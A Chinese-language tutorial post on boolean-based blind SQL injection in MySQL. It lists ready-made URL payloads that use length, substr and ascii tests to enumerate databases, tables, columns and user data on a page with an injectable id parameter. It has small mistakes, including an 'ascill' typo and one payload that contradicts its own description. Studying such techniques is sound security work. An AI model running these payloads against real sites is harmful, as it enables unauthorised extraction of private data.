SQL注入之布尔型盲注

什么是布尔判断SQL注入?

“布尔判断”指的是利用SQL语句**逻辑与(and)**操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。

布尔盲注步骤:

第1步:确认注入点

方法:通过增加 ’ 和增加--+注释符,语句从执行失败变为执行成功判断注入点

第2步:判断数据库版本

方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入; 由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断; 语句:?id=1' and left(version(),1)=5 --+

第3步:判断当前查询数据库的长度

方法:由于无法回显数据,先判断当前数据库的长度,减小后面猜解数据库名称工作量; 语句:?id=1' and length(database())>8 --+

第4步:猜解当前数据库名称(本步骤需要重复)

方法:利用第3步确认的数据库长度,结合substr函数,一个一个字符猜解,利用二分法; 语句:?id=1' and ascii(substr(database(),1,1))>110 --+

第5步:猜解数据库名

方法:猜解方法和第4步类似,通过substr和ascii函数来判断和猜解,函数一样,语句复杂些; 语句:?id=1' and ascill(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>98 --+

1)如何猜解第一个表的第二个字符?

方法:substr (***,2,1);substr函数的起始位置是从1开始的,切记 语句:?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))>109 --+

2)如何猜解第二个数据库名?

方法:limit 1,1;(limit是从0开始的,切记,每次从schemata表中取出下一条记录) 语句:?id =1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>99 --+

第6步:猜解数据表名(仅查询当前数据库,利用database函数)

方法:方法和之前类似,如果经常当前表,第5步可以省略 语句:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 --+

1)非当前查询数据库,方法1

方法:该方法需要利用到第5步猜解出数据库名,比如叫schemaname(需要更换为实际); 语句:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 --+

2)非当前查询数据库,方法2

方法:利用正则表达式的方式 语句:?id=1' and (select 1 from information_schema.tables where table_schema='库名' and table_name regexp '^user[a-z]' limit 0,1) --+

第7步:猜解数据表列名

方法1: 方法:和第6步类似 语句:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="user" limit 0,1),1,1))>71 --+

方法2: 方法:利用正则表达式的方式 语句:?id=1' and (select 1 from information_schema.columns where table_name='key' and column_name regexp '^ke[a-z]' limit 0,1) --+

获取数据布尔注入实战:

(1)判断闭合情况

(2)获取数据库名 先得到数据库名的长度 and length(database())>5, 改变n的值依次获取数据库名的字符 and ascii(substr(database(),1,1))>97

(3)获取表名 先获取表数量 and (select count( *) from information_schema.tables where table_schema=database())>5

再用limit依次获取每个表名的长度 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,

最后获取每个表名的名字 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97

(4)获取列名 先获取列名个数 and (select count( *) from information_schema.columns where table_name='users' and table_schema=database())>5,

再获取列名长度 and (select length(column_name) from information_schema.columns where table_name='users’ and table_schema=database() limit 0,1)>5,

最后获取列名 and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>97

(5)获取数据 先确定第一个用户名长度 and (select length(username) from users limit 0,1)>5 and (select length(key) from dotaxueyuan.key limit 0,1)=11--+

再确定用户名每一个字符的对应字母 and ascii(substr((select username from users limit 0,1),1,1))>97 and ascii(substr((select key from dotaxueyuan.key limit 0,1),1,1))=97

布尔盲注我也不是很懂,只能分享一些大致的步骤

你可能感兴趣的:(sql,数据库,mysql)